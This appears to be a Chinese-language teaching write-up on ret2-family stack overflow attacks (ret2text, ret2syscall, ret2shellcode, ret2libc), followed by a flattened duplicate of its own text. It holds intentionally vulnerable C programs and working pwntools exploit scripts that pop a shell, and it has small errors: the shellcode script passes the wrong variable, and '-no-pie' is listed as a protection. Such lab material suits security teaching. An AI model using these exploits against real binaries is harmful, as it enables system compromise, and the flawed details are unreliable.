栈攻击利用之ret2系列(一)
字数 1789 2025-08-23 18:31:18

栈攻击利用之ret2系列教学文档

1. 栈基础知识

1.1 栈的定义与特性

  • 是一种后进先出(LIFO)的数据结构,是一块动态内存区域
  • 只允许在线性数据集合的一端(栈顶)进行插入(PUSH)和删除(POP)操作
  • 栈底固定,栈顶浮动;栈中元素为零时称为空栈

1.2 栈相关寄存器与指令

  • esp/rsp:栈顶指针寄存器(32位/64位)
  • ebp/rbp:栈底指针寄存器(32位/64位)
  • pop指令:出栈操作,从栈顶弹出数据
  • push指令:入栈操作,将数据压入栈顶

1.3 函数调用中的栈操作

函数开始时典型的汇编代码:

push rbp
mov rbp, rsp
sub rsp, N  ; 为局部变量分配空间

函数结束时典型的汇编代码(leave;retn等价于):

mov esp, ebp  ; 恢复栈顶
pop ebp      ; 恢复栈底
pop eip      ; 弹出返回地址到指令指针寄存器

2. ret2攻击原理

2.1 基本概念

  • ret2是"return to"的缩写,指劫持函数返回地址的攻击技术
  • 通过覆盖栈上的返回地址,控制程序执行流

2.2 主要攻击方法

  1. 栈溢出:最常见的方法,输入数据超过栈缓冲区大小,覆盖返回地址
  2. 任意地址写:较少见,直接修改返回地址
  3. 数组越界:通过越界写入覆盖返回地址

3. ret2text攻击

3.1 原理

  • 劫持返回地址至程序的.text段中已有的危险代码(如后门函数)
  • .text段是程序代码段,包含程序的所有可执行代码

3.2 攻击步骤

  1. 识别程序中存在的危险函数(如system("/bin/sh"))
  2. 确定危险函数的地址
  3. 构造payload覆盖返回地址

3.3 payload模板

payload = 垃圾数据(长度=栈空间大小 + 4/8(ebp/rbp大小)) + 危险函数地址

3.4 示例代码

#include <stdio.h>
#include <stdlib.h>

void init() {
    setbuf(stdin, 0LL);
    setbuf(stdout, 0LL);
    setbuf(stderr, 0LL);
}

void text() {
    system("/bin/sh");
}

int main() {
    init();
    char a[0x10];
    read(0, a, 0x40);
    return 0;
}

3.5 利用脚本

from pwn import *
io = process('./text')
payload = b'a'*(0x10 + 8) + p64(0x4011c5)
io.sendline(payload)
io.interactive()

4. ret2syscall攻击

4.1 系统调用基础

  • 系统调用是程序请求操作系统服务的方式
  • 32位使用int 0x80指令,64位使用syscall指令
  • 系统调用号存储在eax/rax寄存器
  • 参数依次通过edi/rdi, esi/rsi, edx/rdx等寄存器传递

4.2 常见系统调用

  • execve(系统调用号59/0x3b):执行程序
  • read:读取数据
  • write:写入数据

4.3 攻击步骤

  1. 寻找程序中的syscall指令片段
  2. 通过ROP链设置寄存器值
  3. 构造payload执行系统调用

4.4 示例代码

#include <stdio.h>
#include <stdlib.h>

char a[8] = "/bin/sh";

void init() {
    setbuf(stdin, 0LL);
    setbuf(stdout, 0LL);
    setbuf(stderr, 0LL);
}

void text1() { asm("movq $59, %rax;syscall;"); }
void text2() { asm("pop %rdi;ret;"); }
void text3() { asm("pop %rsi;ret;"); }
void text4() { asm("pop %rdx;ret;"); }

int main() {
    init();
    char a[0x10];
    read(0, a, 0x80);
    return 0;
}

4.5 利用脚本

from pwn import *
io = process('./text')
poprdi = 0x4011b9
poprsi = 0x4011c6
poprdx = 0x4011d3
binsh = 0x404038
execve = 0x4011A5

payload = b'a'*(0x10 + 8) + p64(poprdi) + p64(binsh) + p64(poprsi) + p64(0) + p64(poprdx) + p64(0) + p64(execve)
io.sendline(payload)
io.interactive()

5. ret2shellcode攻击

5.1 shellcode基础

  • shellcode是用机器语言编写的恶意执行程序
  • 分为本地shellcode(提权)和远程shellcode(远程控制)
  • 通常用汇编语言编写后转换为机器码

5.2 攻击条件

  1. 存在可执行的内存区域
  2. 能够向该区域写入shellcode
  3. 能够控制返回地址指向shellcode

5.3 示例代码

#include <stdio.h>
#include <stdlib.h>

char a[0x100];

void init() {
    setbuf(stdin, 0LL);
    setbuf(stdout, 0LL);
    setbuf(stderr, 0LL);
}

int main() {
    init();
    mprotect(a, 0x100, 7);  // 设置内存为可读可写可执行
    char b[0x10];
    read(0, a, 0x100);
    read(0, b, 0x40);
    return 0;
}

5.4 利用脚本

from pwn import *
io = process('./text')
shellcode_adr = 0x404080
shellcode = asm(shellcraft.sh())
payload = b'a'*(0x10 + 8) + p64(shellcode)
io.sendline(shellcode)
io.sendline(payload)
io.interactive()

6. ret2libc攻击

6.1 libc基础

  • libc.so是Linux系统中的C标准库动态链接库
  • 包含常用函数如system, execve, puts
  • 函数在libc中的相对偏移固定

6.2 GOT表

  • GOT表(Global Offset Table)存储程序中使用的全局变量或函数的地址
  • 用于实现动态链接,运行时解析实际地址

6.3 攻击步骤

  1. 泄露某个函数的真实地址(如puts)
  2. 根据泄露地址确定libc版本和基地址
  3. 计算其他函数(system)和字符串(/bin/sh)的地址
  4. 构造payload执行目标函数

6.4 示例代码

#include <stdio.h>
#include <stdlib.h>

void init() {
    setbuf(stdin, 0LL);
    setbuf(stdout, 0LL);
    setbuf(stderr, 0LL);
}

int main() {
    init();
    puts("ret2libc");
    char b[0x10];
    read(0, b, 0x40);
    return 0;
}

6.5 利用脚本

from pwn import *
io = process('./text')
libc = ELF('./libc.so.6')

puts_adr = 0x401060
puts_got = 0x404018
poprdi = 0x401273
ret = 0x40101a
main = 0x4011BD

# 第一次攻击:泄露puts地址
payload1 = b'a'*(0x10 + 8) + p64(poprdi) + p64(puts_got) + p64(puts_adr) + p64(main)
io.sendline(payload1)

# 接收泄露的地址并计算基址
puts_real_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_real_addr - libc.sym["puts"]
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))

# 第二次攻击:执行system("/bin/sh")
payload2 = b'a'*(0x10 + 8) + p64(ret) + p64(poprdi) + p64(binsh) + p64(system)
io.sendline(payload2)
io.interactive()

7. 防御措施

  1. 栈保护机制

    • 栈金丝雀(Stack Canary):在返回地址前插入随机值
    • 编译选项:-fstack-protector
  2. 内存保护

    • NX/DEP(数据执行保护):标记数据页为不可执行
    • 编译选项:-z noexecstack
  3. 地址随机化

    • ASLR(地址空间布局随机化):随机化内存布局
    • 编译选项:-no-pie禁用位置无关可执行文件
  4. 代码加固

    • 控制流完整性(CFI)
    • 边界检查

8. 总结

ret2系列攻击是二进制漏洞利用的基础技术,通过控制返回地址实现攻击。主要技术包括:

  1. ret2text:跳转到程序已有的危险代码
  2. ret2syscall:构造系统调用执行恶意操作
  3. ret2shellcode:执行注入的恶意代码
  4. ret2libc:利用libc中的函数实现攻击

理解这些技术对于二进制安全研究和漏洞防御至关重要。

栈攻击利用之ret2系列教学文档 1. 栈基础知识 1.1 栈的定义与特性 栈 是一种后进先出(LIFO)的数据结构,是一块动态内存区域 只允许在线性数据集合的一端(栈顶)进行插入(PUSH)和删除(POP)操作 栈底固定,栈顶浮动;栈中元素为零时称为空栈 1.2 栈相关寄存器与指令 esp/rsp :栈顶指针寄存器(32位/64位) ebp/rbp :栈底指针寄存器(32位/64位) pop指令 :出栈操作,从栈顶弹出数据 push指令 :入栈操作,将数据压入栈顶 1.3 函数调用中的栈操作 函数开始时典型的汇编代码: 函数结束时典型的汇编代码( leave;retn 等价于): 2. ret2攻击原理 2.1 基本概念 ret2 是"return to"的缩写,指劫持函数返回地址的攻击技术 通过覆盖栈上的返回地址,控制程序执行流 2.2 主要攻击方法 栈溢出 :最常见的方法,输入数据超过栈缓冲区大小,覆盖返回地址 任意地址写 :较少见,直接修改返回地址 数组越界 :通过越界写入覆盖返回地址 3. ret2text攻击 3.1 原理 劫持返回地址至程序的 .text 段中已有的危险代码(如后门函数) .text 段是程序代码段,包含程序的所有可执行代码 3.2 攻击步骤 识别程序中存在的危险函数(如 system("/bin/sh") ) 确定危险函数的地址 构造payload覆盖返回地址 3.3 payload模板 3.4 示例代码 3.5 利用脚本 4. ret2syscall攻击 4.1 系统调用基础 系统调用 是程序请求操作系统服务的方式 32位使用 int 0x80 指令,64位使用 syscall 指令 系统调用号存储在 eax/rax 寄存器 参数依次通过 edi/rdi , esi/rsi , edx/rdx 等寄存器传递 4.2 常见系统调用 execve (系统调用号59/0x3b):执行程序 read :读取数据 write :写入数据 4.3 攻击步骤 寻找程序中的 syscall 指令片段 通过ROP链设置寄存器值 构造payload执行系统调用 4.4 示例代码 4.5 利用脚本 5. ret2shellcode攻击 5.1 shellcode基础 shellcode 是用机器语言编写的恶意执行程序 分为本地shellcode(提权)和远程shellcode(远程控制) 通常用汇编语言编写后转换为机器码 5.2 攻击条件 存在可执行的内存区域 能够向该区域写入shellcode 能够控制返回地址指向shellcode 5.3 示例代码 5.4 利用脚本 6. ret2libc攻击 6.1 libc基础 libc.so 是Linux系统中的C标准库动态链接库 包含常用函数如 system , execve , puts 等 函数在libc中的相对偏移固定 6.2 GOT表 GOT表 (Global Offset Table)存储程序中使用的全局变量或函数的地址 用于实现动态链接,运行时解析实际地址 6.3 攻击步骤 泄露某个函数的真实地址(如 puts ) 根据泄露地址确定libc版本和基地址 计算其他函数( system )和字符串( /bin/sh )的地址 构造payload执行目标函数 6.4 示例代码 6.5 利用脚本 7. 防御措施 栈保护机制 : 栈金丝雀(Stack Canary):在返回地址前插入随机值 编译选项: -fstack-protector 内存保护 : NX/DEP(数据执行保护):标记数据页为不可执行 编译选项: -z noexecstack 地址随机化 : ASLR(地址空间布局随机化):随机化内存布局 编译选项: -no-pie 禁用位置无关可执行文件 代码加固 : 控制流完整性(CFI) 边界检查 8. 总结 ret2系列攻击是二进制漏洞利用的基础技术,通过控制返回地址实现攻击。主要技术包括: ret2text :跳转到程序已有的危险代码 ret2syscall :构造系统调用执行恶意操作 ret2shellcode :执行注入的恶意代码 ret2libc :利用libc中的函数实现攻击 理解这些技术对于二进制安全研究和漏洞防御至关重要。